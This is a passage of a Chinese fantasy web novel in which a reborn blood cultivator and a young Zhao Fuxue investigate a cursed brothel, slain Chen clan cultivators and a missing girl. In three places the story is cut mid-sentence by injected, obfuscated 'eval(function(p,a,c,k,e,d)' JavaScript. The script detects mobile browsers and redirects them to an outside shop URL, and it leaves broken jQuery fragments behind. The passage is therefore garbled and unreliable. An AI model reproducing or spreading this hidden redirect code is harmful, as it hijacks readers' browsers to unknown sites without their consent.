封澄心道好一个陈家,缩头乌龟竟能做到这个份上。 “听闻近日城中中毒之事,也与宝华楼脱不了关系,人家天机师都查了,魔气就是源于宝华楼——只是谁敢进去除魔?”老板叹息。 城中中毒之事?封澄一惊,不由得摸上自己的心口——难道是她所吃那碗粥米的毒? 那么这事不管还不行了。 老板道:“总归不是好东西,两位还是莫要去招惹了,若是不嫌弃,不如来寒舍住一晚,我家常有客房,一应器具都是齐全的。” 封澄拱了拱手,道:“那就叨扰了。” 她对赵负雪挥挥手:“赵公子,你要不要跟上。” 老板的客房果然干净齐整,封澄心中心事重重,头一沾枕头,倒是飞快地沉沉睡去了。 而一墙之隔的赵负雪,却是心乱如麻,他在屋中捧书踱步,不知走了多少个来回,心中仍是杂乱。 夜里寂静,屋中只有烛泪滴下的声音。 “这血修妖女,睡得倒是安稳。” 客房的隔音并不好,如若靠近墙壁,能听到隔壁的呼吸声,搅得赵负雪更乱了,仿佛一闭眼,就是封澄狡黠眯着的双眼,还有立于人魔对面,灵力暴涨的模样。 连一本书也看不入眼,赵负雪叹了口气。 不过一日,他的生活便被这妖女全搅乱了,碰上血修,抓了便是,他又抽了哪根筋,竟还贴身监视? 赵负雪叹了口气,一夜漫长。 次日清晨,封澄精神抖擞地出门,一看,面前便是身负长剑的赵负雪,她微微挑了挑眉。 他认床吗? 怎么挂了两个这么大的黑眼圈。 封澄昨日的衣服已然脏得不能穿了,于是向老板买了一件便服换上,这人一收拾,便露出了本貌。 若有早年认得封澄的人见着她,定然会大吃一惊。 她重生回来,生得竟和她十几岁时一摸一样,她身量高挑,一双桃花眼潋滟明媚,见人含笑,看着相当喜人。 二人行走在街上,引得路人侧目。 路过一家灵器铺子,封澄进去买了一打符纸。 符纸在手,她提前用血画了,就不用次次取血了。 ”一张,两张,三张……“ 封澄一张一张地数符纸,数完后,看见少年时期的赵负雪站在不远处的树下,抱臂负剑,闭目养神,一副等待的模样。 说是监视,却像是保镖。 她不由得想起来,她在天机院时,赵负雪多病难行,二人之间莫说私下相处,就连正经交流也没有几次。加上天机院事多繁琐,她之前还守着他的院门等待,后来便忙于修学训练。 细细想来,拜师两年,二人朝夕相对的日子,竟是没有几日。 赵负雪为何执意带她入京,执意收她为徒,仍是封澄至今未懂的问题。 数完符纸,封澄向他走来,举起手,笑眯眯地对赵负雪道:“此楼于我关乎性命,辛苦赵公子陪我走一趟,” 赵负雪睁开眼睛,打了个哈欠,点了头道:“走吧。” 二人停在了宝华楼前,封澄抬眼望去。 在热闹的时候,宝华楼应当是颇具规模的,楼高数丈,红绸张扬,只是听了宝华楼的屠楼之传后,封澄觉得这红绸瘆人,好似血染。 “这楼建的年数应当不多,这漆料还是新的。” 没人住的地方总是荒得格外快,不沾人气,再新的建筑都会透着一股鬼气。 门口的草木分外茂盛,这让人很难不多想。 封澄忽生好奇——方才应该问问的,进了宝华楼的人,是一出楼便血溅当场了吗? 此时赵负雪道:“妖女,你来看。” 封澄下意识地应了一声,正要走去,却忽觉不对:“你叫我什么?” 赵负雪面不改色:“妖女。” “……” 封澄抽了抽嘴角:“你要是这样叫,我可就真做妖女了哦。” 赵负雪装没听到。 封澄算是看明白了——年轻的赵负雪,正义爆棚、又俊又炸,还疑似自来熟。 和她那清冷师尊没半块铜板的关系,着实令人大开眼界。 7. 第 7 章 乍开大门,扬起的灰尘便呛了封澄一脸,她剧烈地咳嗽两声,费力道:“这是多久没人进来了?荒得就差跑马了。” 封澄甚至怀疑,荒成这样的楼,真的会有人进来,住这一宿吗? 脚下忽然碰到了什么,发出了叮当一声,封澄低下头,只见一只木牌躺在脚下,灰扑扑的有些陈旧。 赵负雪垂眸,道:“这个物件看着奇怪。” 她捡起来端详片刻:“是地魔之地的法则条例,所有地魔都会在其据地中留一个。” 宝华楼里怎么会有地魔的东西? 封澄将木牌抬起,凑到光源下,仔细一看,木板上以奇怪的语言写了三行字,第二行与第三行皆被胭脂糊上,唯有第一行是清晰的。 法则糊字、漏字、用生僻语,都是地魔常用的伎俩。 “风月阶。” 封澄念了出来,这上面的注释使用的语言她并不能看明白,于是将木牌丢给赵负雪道:“你能看明白后面写了什么吗?” 赵负雪百家皆精,想必看个小小木牌是不成问题,封澄理所当然地想。 他接过眉头,果然不打磕地道:“情深不寿,慧极必伤。” 话音未落,楼内无风自起,一张小红帘悠悠而动,飘向了封澄。封澄正琢磨这句话的意思,不曾想这帘子落到封澄面前,一掀,竟是一张惨白的鬼脸! “!” 封澄当即觉得后背毛都炸了起来,手立即就要抽符。此时红帘子松松一动,落了下去。 俗话说的好,人吓人,吓死人。放在人魔身上也适用,封澄低头,将红帘子踹飞出去,搓了搓一胳膊的鸡皮疙瘩,心有余悸;“我宁愿去杀满编队的天魔,也不愿意和人魔折腾。” 赵负雪闻言,哑然失笑:“你怕鬼啊?” 和死尸打交道,兀鹫一般的血修,竟然害怕鬼。 人魔的确比鬼还吓人,封澄翻了个白眼。 不想再被吓第二回,封澄翻出了灵视符,握在了自己手中,顺手塞给赵负雪一张防身的:“装神弄鬼之徒,看我抓了它现行。” 赵负雪接过封澄递来的符咒,不动声色地叠了叠,放在了胸口。 封澄用灵视符蒙住了眼睛,睁眼一看,登时傻了眼。 “魔气,”她目瞪口呆道,“此地的魔气,好乱。” 岂止是乱,简直是群魔共舞,封澄还从未见过一个建筑内能贮存如此多种类的魔气,有天魔的,有人魔的,甚至还有一缕地魔的魔气。这魔气交融在一起,翻转回腾,好像在屋中放了一条色彩鲜艳的巨蛇。 她抿唇:“这还真不像人魔的魔气,倒像是……” 地魔的魔气。 宝华楼中,还真是地魔。 赵负雪当年初出江湖,碰上的便是地魔这种大家伙? 难怪数年重病难行,负雪先生仍是当时无可辩驳的第一人。 这历练的含金量,当真是非同一般。 地魔的诞生极为苛刻,乃是地脉所结,顺时而生,可阿环化为人魔尚且能说得过去,化成地魔,那是绝无可能的。 难道是现有魔在前,后有阿环死? 她甚至还看到有不少灵气搅合在其中:“灵气与魔气相克,可此地灵气,竟然是是能够和魔气共存的,当真诡异。” 赵负雪垂眸,道:“你……修学时未听讲吗?” 封澄:“……” 之前没怎么意识到,赵负雪说到底还是占了她一个师父的名分。 这种书到用时方恨少的场景,大抵是每一个做徒弟的噩梦。 哪怕是少年时的师尊,也是足足够她喝一壶的。 因她的灵力强悍,封澄当年的训练是针对训练天魔的,人魔的课程几乎不是睡了过去便是逃了过去——毕竟强悍成她那样的灵力也是少见,碰了大多数魔物都可以用灵力碾过去。 这种大炮开兮轰令堂的狂放风格,直接造成了封澄的知识盲区。 她心虚不已地回想着自己逃过的课,这种东西,天机院应当讲过。她极少逃课,哪怕是逃,也是挑着什么天魔烹饪之类的杂课逃。 一琢磨,封澄想起来了。 有段时间,她逃课还挺多。 她入学当日同拜师赵负雪,当日便惹了大祸,赵负雪为保她,把她押进天机院内部不得外出,关了她足足八十多日,期间又是要砍头又是活剜,几乎搅得她吃不安生一顿饭,足足瘦了八斤。 待被放出去后,她日日跑外头下馆子。 吃的什么? 八宝鸡清蒸多宝鱼荷叶粉蒸肉西湖莼菜羹如意莲子糕。 封澄怀疑,若非姜徵她姨母出面抓人,她就该拜入饭馆子做厨师徒弟了。 “刚死的修士,他们的灵气无主逸散,自然能够混在魔气中。” 赵负雪气恼道:“带你修道的人只教你扒人领子了,为何连这些东西都不教?收了不教,要他作甚?” 不是他不教,而是她来到师尊身边时,师尊已经极少出门了。 在入学天机院之前,封澄只不过是个野着长的散修,她在长煌大原摸爬滚打,啃着魔兽的肉,喝着魔兽的血,靠着胆大和机灵,混得风生水起。 直到久病且不良于行的赵负雪找到她,把她从野火逢魔之地,捞回了繁华满目的夏都。 “你当年病成那个样子,为什么还千里迢迢地去长煌,收一个什么都不懂的徒儿?” 声音太小,赵负雪自然听不到她的问题。 ——再说了,面前的不过是少年时的师尊,也是回答不了她的问题的。 从庞杂的魔气团中,大概可以推测,此地的魔物不止一只。 ——封澄跟上二楼后,贴着灵视的眼睛猛然一痛。 二楼竟然全是翻腾汹涌的灵气! 此事不可小觑,无主的灵气不少见,但规模庞大至此的无主灵气,便只有一个可能。 “不少修士死在这里了,”封澄沉着脸,“且灵气被困,出不去。” 赵负雪道:“此等规模,死的恐怕并非常人,宝华楼此地的也绝非平常魔物。” 二人飞快地向灵力溃散的源头奔去,正是走廊尽头的最后一间房间,还未等进门,封澄便嗅到一股浓郁的血腥味。 这血腥味中还有魔血的腥臭,封澄一把掀了灵视符,与赵负雪对视一眼,推门进去。 入目惨剧,几乎令封澄红了眼睛。 修士,全都是修士。 坐着的、躺着的、站着的、跪着的,肠开肚破,血流满地,尸体的腐败程度不一,有新鲜流血的,有腐败溃烂的,还有化作白骨的。 死法也不一,几乎没有一模一样的伤痕。 几乎下意识地,封澄胃中一片翻腾。 “看不下便退。”赵负雪不动声色地上前一步,挡住了她的视线。 封澄艰涩道:“死了这么多人……!” 赵负雪沉声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177580|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“全都是陈家的,”他走近一步,雪白的衣物沾上血迹,他将一人的手抬起:“指环。” 又抬起另一人的手:“还是指环。” 一个两个,三个四个。 屋内死去的天机师,手上竟然都戴着陈家的指环。 这些都是陈家派下来除魔的修士! “宝华楼地魔是个刁钻东西,”封澄转身抓住赵负雪,立即向下跑,“门没关,我们还能出去,走。” 地魔有一点便是最为麻烦的——地魔乃一地之主,可定下一地法则,任凭来者灵力滔天,都要小心,不能破了地魔定下的规矩。 现下二人得知的信息只有这张木牌上语焉不详的风月阶。 封澄脑中浮现出一个人影,道:“找陈家那群人问问消息,宝华楼长在此地,他们一定有线索。” 她跑回去,强忍着恶臭,一枚一枚地将陈氏的指环撸了下来,权作信物。 赵负雪任由着封澄牵出去,待踏出宝华楼的大门,见到了日光,封澄松手,他才不动声色地松开了封澄的手,封澄抬起头道:“我本以为进去清个魔便能出来了,不曾想魔没清,身上还背了地魔的追杀令。” 宝华楼的传言,地魔的禁制——进过宝华楼的人,三日必将送命。 赵负雪点点头:“同年同月同日死,这般倒霉。” 这个说不上笑话的笑话莫名戳到了封澄的笑点。 二人出门后,不作停留,径直往山上去。 不知是不是封澄昨日劈石的势头太猛,此时的陈氏山庄四周围得铁塔一般,处处都是人,皆面色冷厉。封澄疑惑道:“我不过是劈了陈氏的石碑,又没劈了陈氏的祖坟,怎么搞得这般吓人?” 正嘀咕之时,却看见山上下来一个人,来者穿着一身白衣,脸色有些发白,一双狐狸眼分外眼熟,竟然是陈云。 只是这脸怎么回事,如丧考妣。 还没等封澄想明白,赵负雪便从容地向前去,对着陈云道:“陈公子,久违。” 陈云一怔,在看清赵负雪面貌时,勃然变色。 “你竟然还敢回来!”他脸色骤然气得通红道,“来人,给我把他拿下!” 封澄一听,连忙上前一步道:“停手停手!陈云,我与你有要事相商,事关你陈家天机师和古安之众的死活。” 谁知看到封澄后,陈云的脸色更加不好,他瞪视着赵负雪,眼睛似乎随时都能爆出血丝,可看向封澄的目光中竟然还有几分委屈,好半天,才道: “我,我把你当朋友,你……!!” 你什么?封澄一头雾水。 陈云气结,随着一阵灵光暴起,陈云的指环霎时爆出灵光,他化灵力为刃,竟然直冲赵负雪而来,刀刀之势,仿佛要取他性命,封澄上前一步接住陈云的一刀道:“你怎么回事!我已然说了,和你有要事相商,你怎么突然动手!” 陈云一击不成,转身又是一击,封澄咬牙,从包中抽出一定身符,啪地拍到陈云脑门上,陈云手腕一僵,当即委屈道:“你对我做了什么!” 封澄一拍手:“可算能好好说话了?昨夜劈了你们的碑是我不对,我会赔钱的——今天咱们不说碑,说点人命行不行?” 陈云大怒:“谁管昨夜的碑啊!” 封澄奇怪:“那你摆出这番模样来作甚?” 诡异的沉默在众人中蔓延,半晌,陈云咬牙道:“昨夜……我父亲遇刺,现下,生死不明。” 8. 第 8 章 陈风起遇刺一事,令整个事态迷惑起来。 封澄托着腮叹息:“陈云只说宝华楼之事全是陈风起处理的,可就陈风起那个闭门谢客的模样,待逼问出个所以然来,你我三七都要过了。” 端然坐在她对面的赵负雪两指捏起一只茶杯,不紧不慢地放在嘴边:“抓了陈云,他定然坐不住。再不行便砍他一根手指送上去。古安一地的性命,岂容得他任性耽误。” 同样穿着斗笠长袍,赵负雪硬是比旁人多穿出些仙气来,若是不听这一口狂言,反而像是下凡渡劫的仙人。封澄无力吐槽:“您有些正得发邪了,赵公子。” 陈家之路被堵了,蒙受如此无妄之灾,封澄倒是看得开——大不了去查阿环嘛,阿环那里一点线索都没有,再打陈家主意也不迟。 路边茶摊的茶叶滋味粗糙,只解渴,没味道,封澄素来不爱喝茶,此时更是只想念隔壁摊位的糖水。 掀眼皮看赵负雪,只见赵负雪眉毛也没有皱一下,面色之从容,好似尝不出来半两银子一斤的茶和半两黄金一斤的茶。 年轻时的赵负雪当真好伺候,封澄想,后来的赵负雪口味极怪,只喝一种茶。 至于是什么茶——她做了人家徒弟许久,也只是知道那茶产自南面,具体哪种,还真不知道。 已知是地魔,那么就要从地魔开始作乱的时间开始查,寻到地魔的成因,规矩便好找了,封澄皱眉思索——地魔之乱的开始是西吉街李家阿环,阿环在这只地魔的形成中,扮演了什么角色? 正思索间,赵负雪突然站起了神,片刻,坐回封澄对面,推了一碗糖水来。 “不喜茶味还硬灌,血修行事,心口不一。” 封澄一怔,随即脸上露出笑意。 喝茶歇息片刻,二人动身前往西吉街,地魔不可耽误,事不宜迟,当即刻行动。 一番打听,封澄与赵负雪找到了西吉街。 出乎封澄意料的时,西吉街在古安繁华一带,走街串巷的商贩不少,房屋盖得齐整,井井有条,住民也多。她心下有些意外——照这么看,这李家生活得还不错? 她随意找了个商贩打听:“敢问阿环姑娘曾经住过的李家,在哪里?” 商贩乍听阿环姑娘,还面露茫然,再听到李家时,当即吓得脸色一变,警惕道:“你,你们是什么人?” 封澄心念一动,摸了摸腰间的陈家指环,亮出来道:“我们二人乃陈家天机师,奉家主之名,来查阿环姑娘的化魔一事。” 俗话说,强龙不压地头蛇,封澄深知,在此地报天机院的名头,都不如报陈家的名头。 陈家修士在古安可谓是积威甚重,果然商贩一听,当即恭恭敬敬:“原来是陈家的大人,二位请随我来。” 商贩絮絮叨叨:“这不到一月间,二位是第三批前来查探的陈家修士,可见陈大人对古安民众的安危,极为上心呐。” 封澄与赵负雪对视一眼,跟上了这位商贩。 陈家人来过不少。 走到李家的家门口,商贩拱了拱手,便向二人告辞离去。封澄上前敲了敲门,无人响应,又敲了敲,依旧无人响应。 难道是没有人居住了? 封澄抬起头,陡然间,发现院墙上停着一只鸽子。 她与鸽子对视片刻,想了想,卷起舌头,吹了一声鸽哨。 鸽子忽而振起双翅,向她飞来,乖巧地停在了她的肩膀上,封澄摸了摸,试图摸出点玉米粒来喂给它——荷包里自然是空空如也的。 它在封澄肩膀上很不满地跺了跺爪子,振翅飞走了。 “有人,”封澄若无其事地拍了拍肩,“这鸽子是人训的,听得懂鸽哨。” 赵负雪看她一眼,眼底有几分自己都未能察觉到的笑意。 这小疯子不招人待见,倒是还挺招动物喜欢。 封澄惯常招猫逗狗,天机院附近的家猫野狗、天机院里头的骏马猛兽、天机院上面飞的虫鸟,通通是她的至交好友。 上辈子的封澄,身上总带着些杂七杂八的吃食,惯常是为了招待这些小友。 鸽子飞回去片刻,门开了,露出来一颗小心翼翼的脑袋。 “你,你们找谁……” 是个身高还没有封澄腿高的孩子,扎着双环髻,一身绿衣,大眼睛水汪汪,只是眼中惊惶不是孩子的该有的神情。封澄看着这双眼睛,蹲下身来,目光与小孩儿平齐。 “那鸽子是你训的么?”她笑眯眯的。 小孩一脸的戒备霎时定住了,他看着封澄,半晌,轻轻地点了点头。 封澄道:“训得当真妙极,我还没见过这么壮的鸽子。” 此话也是当真的,那鸽子壮得和鸡差不多。 小孩眼睛一亮:“你……你也喜欢鸽子吗?” 封澄煞有介事道:“喜欢,每一个喜欢鸽子的人都会得到鸽子仙的庇佑,鸽子仙会保佑鸽子寿命长久,无灾无病。” 小孩:“??!” 封澄欣赏着骤然眼睛发亮的小孩,心知此时已成了三分,小孩道:“那我如何要才能见到鸽子仙呢?” 封澄咳了咳,起身,把身后的赵负雪让了出来:“鸽子仙在此,特意来给你家鸽子赐福了。” 白衣翩翩、面若谪仙的赵负雪,被亮了出来。 骤然亮相的赵负雪脸色一片空白,指了指自己,两只眼睛中全然是震惊:“我?” 小孩收了一脸慌张,取而代之的是“你骗鬼呢”的表情:“把我当我小孩子骗——鸽子仙怎么长得不像鸽子?你定然是骗子。” 说着,小孩便要关门。 赵负雪连忙向前走了一步,一把拉住了门,挡着小孩,肃然正色道:“在下鸽子仙,修行多年,自然已经得道成人。” 用这样一张脸,说出一个闹着玩一样的“鸽子仙”,此言一出,不光是小孩傻了,就连封澄也傻了。 她本就是闹着玩的,即便这小孩不放她进去,她也自有几千个法子找到李氏夫妇。 “赵先生真好看,”同窗的话在她耳中震耳发聩,“只是人太冷了些,好像仙人一般,不像凡人。” 他们一定猜不到这个仙人是什么变的。封澄面无表情地想。 鸽子仙赵负雪认真地看着小孩。 小孩见了活鬼一样,哇的一声,扭头便跑。 片刻,院内传来遥遥一声:“爹,娘——门口有个鸽子成精了! 封澄无声大笑,赵负雪好像背后长了眼睛一般,似是又恼又羞:“别笑,还不是怪你。” 兴许是为了见见成精的鸽子长什么样,李家人还是将封赵二人请了进来,进屋坐定,封澄便报上来意:“今日前来,是为了贵府阿环之事。” 坐于堂前的是上了年纪的一对夫妻,李父迟疑地看着封澄,似乎对二人过分年轻的年龄不甚信任。 待看到身后的赵负雪腰间悬挂的天机院玉坠时,李父神色一转,恭恭敬敬道:“我便知晓二位是为此而来,请坐定,我将此事全然道来。” 封澄将李父的神色尽收眼底,挑了挑眉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177581|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“阿环入宝华楼,并非身入风尘,起先只是为了一件事。” “大人想必不知,古安此地,一直有十年一次的龟祭,今年正好是龟祭的时候。” 龟祭?封澄心头一凛,不由得坐起了身。 李父道:“每年龟祭,按律是要十六女子,十六男子,年龄十六。八位童男,八位童女,年龄要八岁,游街祈福,投祭入水,以供奉龟神,今年的阿环年龄正好,便是被选入龟祭了。” 李母正在拭泪:“可怜我女儿,得了名额,欣喜若狂,高兴了足足有半月,谁……谁知!” “今年排演,阿环与其同伴,一同入了宝华楼,向宝华楼女子修习舞蹈琴艺,排演之日足足有三月之久,阿环在前一月尚兴致高昂,可没多久回来,便闷闷不乐。” “我们问,阿环也不说,我与阿环的母亲担忧不已,第二月结束,阿环突然道,她要入宝华楼了!” 说到此处,李母啜泣出声。 “女儿要入宝华楼啊……那宝华楼女子以色侍人,谁家女儿不是走到绝路了才进去?!我怒极,将阿环锁死在她的房中,门窗俱闭,绝无出逃可能,可次日,阿环已然身处宝华楼,再过了短短几日,她便成了花魁!” 这字字泣血,也令封澄心如刀绞。 剩下的便不必说了,阿环身死,屠楼化魔,此后宝华楼,便成了禁地。 封澄起身,正色道:“当日关押阿环的屋子,可否由我进去一看?” 李母点点头,正要提步间,又像是想起什么一样,转身从怀中掏出一物,一边擦泪,一边递给封澄。 是一把梳子。 “这把梳子,是阿环自小便心爱的东西,”她哽咽道,“出逃那日,她将常日用的器物都带上了,可独独未带此梳,我想,这梳子,或许能助大人一二。” 梳子润泽,雕花已被摩挲得圆润,一看便是姑娘家爱不释手的心爱之物。 封澄接过,细细端详,忽然转头道:“陈家人应当已来过数次,你为何留此梳至今?” 沉默在堂中弥漫,片刻,李母涩然道:“我与夫君一直在等。” “等一个不是陈家人的修士。” 李父长叹一口气: “今年龟祭,是陈家办的,我与拙荆总觉得,此事与陈家难逃干系。” 隐隐有一条线,将陈家人之死,同宝华楼生变,串了起来。 封澄点头,提步跟上李母,忽然间,她胸口猛然一窒,随即眼前一黑。 封澄偏过头,喉头发痒,俯身两下,竟然咳出一口血来。 “咦……?” 封澄看着掌心的血迹,皱了皱眉。 那魔物下的魔气发作了。 赵负雪变了脸色,封澄随意地一抹嘴,挥挥手道:“不妨事不妨事,老毛病了。” 如若封澄此时将目光移到赵负雪身上一眼,便能看到赵负雪骤然惨白的脸。 他冷着一张脸,走到封澄面前。 封澄唇角还有残血,抬起头,正要开口疑惑他要做什么,忽然觉得嘴角一凉。 赵负雪抬起手来,轻轻地拭去封澄唇角的血迹。 手指冰凉,却擦得封澄皮肤一疼。 有力之深,仿佛想将这缕血迹从她皮肤里面挖出来。 封澄怔住。 在反应过来发生了什么之后,封澄全身的毛都齐齐炸了起来,她瞳孔紧缩,豁然站起身来:“你你你……” 赵负雪冷着一张俊脸:“你们血修,修的是如何把自己搞吐血?” 9. 第 9 章 “我自己的身体,岂会没数。这事说来话长,当真不是大事。” 说罢,封澄便转身对李母道:“请夫人带路。” 李母不知如何是好,求助似的看向了赵负雪,封澄拍拍她的肩膀,迫使她的视线移回自己身上,微笑着道:“他只管跟随于我,不会动手,今日除魔的可是我。” 此言一出,李母一怔,似乎不相信这位年轻明媚的少女竟是二人中的主事者,随即神色定了定,道:“是我唐突,姑娘请跟我来。” 二人离去,封澄谈笑生风,长腿一迈便走,赵负雪定定地看着封澄的背影,脚下一顿,还是跟了上去。 三人来到阿环的闺房前。 出乎二人意料,阿环的闺房外整齐洁净,连窗棂都擦拭得干干净净。 封澄除过不少魔,见了此房,心下讶异不已。 常人道,魔物不详,连带着生出魔物的人,也是不详。是以魔物久居的屋舍,不是被烧了拆了,就是荒了封了,莫说是日日洒扫、勤加修缮了,不连着地皮一起挖了,都算这地的人心慈手软。 能保留到这种程度的房屋,不可不谓之稀罕。 心里这般想的,封澄也是这么说的。 李母一笑,道:“我们为人父母的,岂会嫌弃自己的儿女?阿环从小便心善温和,是我们最为心爱的女儿,我与她父亲相信她之身死另有隐情,怎会将她视作不详?” 她避让而开,将二人请进屋子中,还未等二人入门,赵负雪便脸色一冷,执剑挡道:“退后。” 封澄一怔,只见数只飞箭从屋内齐齐飞出,径直向着封澄的面门中来,只见眼前白光一闪,铮铮一声,飞箭银针齐齐落地,赵负雪拦在封澄面前,收剑,眼底染上了微不可察的怒意。 “你珍爱女儿的闺房,便藏着这些东西!” 他的容貌本就极盛,此时疾言厉色、手持利刃,竟是比平常吓人十分。 又加以一地的银针毒箭,望之骇人,李母当即吓得面无人色,腿脚一软,便软倒在地,哀哀道:“我,我不懂啊!女儿的房屋,我日日都来,从未见过什么箭!” 封澄拍了拍赵负雪的肩膀,安抚道:“对面急了眼,便是说,我们找对了地方,赵公子,还是先将剑收起来吧。” 赵负雪的目光紧紧盯着屋内,半晌,哼了一声,不情不愿地收了剑。 二人进屋,地毯厚实而温暖,一见便是极为钟爱女儿的人家。屋内的陈设一应都是女儿家常用的模样,衣柜与妆奁中皆是空空,李母解释道:“阿环失踪前,将屋中所有的衣物妆饰都拿走了。” 封澄点点头,这屋子不大,只逛一圈便能看得完,的确是封得严严实实,断无逃脱出去得道理。封澄沉吟片刻,道:“这地毯之下,可曾查探过?” 李母摇摇头:“也查过,但处处坚实,断无遁地逃出的道理。” 那便是奇怪了,既然是四面封死、天上地上皆堵得严严实实,那么人难道会穿墙而出,去往宝华楼露面吗? 沉吟片刻,封澄道:“既然没有逃出去的道理,那便只有一个说法了。” “阿环在屋里。” 阿环在屋里? 话音未落,众人霎时觉得屋子中刮起了一阵阴风,赵负雪挑了挑眉,手指在剑柄上轻轻地抚摸:“哦?” 封澄微笑:“自然不是现在,我是说,当日你们二人断定阿环不在屋中之时,她未曾离开。” 李母猛地捂住了嘴。 “她,当日没走?”她颤声道,“那么有没有可能……阿环她,她,还活着?” 封澄方要说“非也”,迎面却撞入了李母殷切祈求的目光中,这令她的话在她舌尖几度翻滚,却迟迟吐不出来。 “不甚可能。” 赵负雪举起剑来,眯着眼睛,剑光映在他的面上,分外冷淡的表情让她看起来像一尊年轻俊美的神像,“如若她活着,也是落在地魔手中,其中生不如死,不如痛快死去。” 刺人的真相和柔软的谎言,哪个更伤人? 四下一片寂静,唯有风微微吹过风铃的声音。 封澄抬起头,女孩儿的屋子中挂了一只风铃,风起时叮当作响,十分悦耳。 李母怔怔,掩面而泣,逐渐地痛哭出声。 没有人有资格去打扰一位母亲的哭泣,封澄沉默,赵负雪亦是沉默。 人虽然没了,案子还是要继续查,封澄的双眼蒙上了灵视符,却未在阿环的房间中发现一丝一毫的魔气。 几番搜查下来,日至中天,连地毯都一寸寸地查验过了,依旧没有半分线索。 众人一时间有些丧气,封澄坐在搬来的绣凳上休息,忽然面前有人遮了光,她抬眼一看,正正撞入赵负雪的双眼。 逆着光,赵负雪的神情不甚清晰,他对着封澄道:“快死了吗?” 说的是方才吐血之事,封澄感觉了一下,身体一切安适,并无痛楚,于是她点了点头道:“祸害留千年,要相信妖女的生命力啊。” 天机师依赖的是魂魄,虽然不知道她重生的是哪个部分,但现下,她的灵力还算充沛。 未曾想话音刚落,喉咙处便涌起一阵腥甜,这一次的头晕分外强烈,封澄眼前一黑,险些仰倒在地。 脑后有一只温热的手,支撑着她不至于倒下去,封澄抬起眼,朦朦胧胧间看到了赵负雪带着重影的脸,她昏昏沉沉地想——这下要是把赵负雪连累进去了,她可真是死都不安生。 目光晃动间,风铃的晃动渐渐地对上了封澄的眼中。 奇怪,这只风铃,是否有些奇怪。 不顾眼底发花,封澄指着那风铃道:“赵公子,把那东西取下来!” 感受到手上的挣扎,赵负雪冷脸道:“此时此刻,就不要想这些了,你坐稳,我给你输送灵力。” 封澄不满地拍了拍他:“你先把风铃取下来。” 赵负雪叹了口气,转头道:“扶着她些。” 李母早已搬了一只软椅来,扶封澄坐下,赵负雪身高腿长,略微伸伸手,便把风铃取了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177582|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,他将风铃递给封澄,专心看着她道:“这个?” 封澄点了点头,脑中晕眩少了些,她的眼睛也聚了焦。 风铃的做功极佳,十二只铃铛上,刻着惟妙惟肖的十二生肖,封澄拎起风铃来,仔细一看,终于发现了端倪。 这十二只兽中,有三个,是没有铜舌的。 李母一看,便道:“这不该如此,此风铃是去年,她姨母赠给阿环的生辰之礼,阿环想来惜物,怎会短短半年便掉了三枚铜舌?” 封澄想了想,指尖向风铃中一探,不防便摸了一指尖的红。 赵负雪低头一看:“是什么,胭脂吗?” 风铃内岂会有胭脂?封澄凑到鼻尖嗅了嗅,有花香气——还真是胭脂。 封澄道:“阿环逃脱,想来是容易的,在前来追查之时,阿环躲在屋中,待你们发觉阿环出走,屋中一乱,便乘机换了家中侍从的衣服,以假乱真,浑水摸鱼地溜了出去,从小路中出逃便是了。” “只是不论是出逃,还是更换侍从衣物,都是要有人接应的,这消息如何传递呢……?” 她微笑着捻了捻指尖胭脂:“想来是用这个了。” 此言一出,四座皆寂然。 “这……这未免也,过分……” 中有一人忍不住道。 封澄点了点头:“所以也只是猜测。” “当然,最要紧的还是一点。” 封澄摸了摸风铃,灵视符将风铃中的魔气尽数收归眼底。 她道:“这枚风铃中,有魔气。” 至于是不是宝华楼中的魔气,还需要她再去查探。 魔气? 众人哗然:“有魔气!那岂不是——阿环姑娘是被魔掳走的!” “人们都说是阿环姑娘化魔,宝华楼才至今进不得人的,可如今一看,竟然是先有魔族在先,才有掳走阿环姑娘的!” “我们阿环姑娘冤枉啊!” 众人皆吃惊不已:“姑娘为何跟魔族走了?” 封澄垂眸,她捏了捏风铃,道:“何人以胭脂为笔,传递消息?” 想来是宝华楼的女子了。 宝华楼这种风月之所,女子们皆没有笔墨,铜黛难以在纸上留痕。传递消息,自然是胭脂了。 “我猜,随着这只风铃的传递,应当还有一件侍从穿的衣物。“ 封澄微笑:“阿环姑娘被关入房中这些日子,是哪位负责姑娘的衣物更替?若少了这人在其中帮忙,这以假乱真的狡兔三窟、莫名失踪的衣物妆饰,又是如何传递出去的?” “找到此人,便可水落石出。” 李母勃然变色:“阿环的衣物,我不放心假手他人,一概是由我身边陈妈妈亲自动手的,陈妈妈看着阿环长大……她,她怎么能……!” 说着,李母怒道:“给我把陈妈妈带过来!” 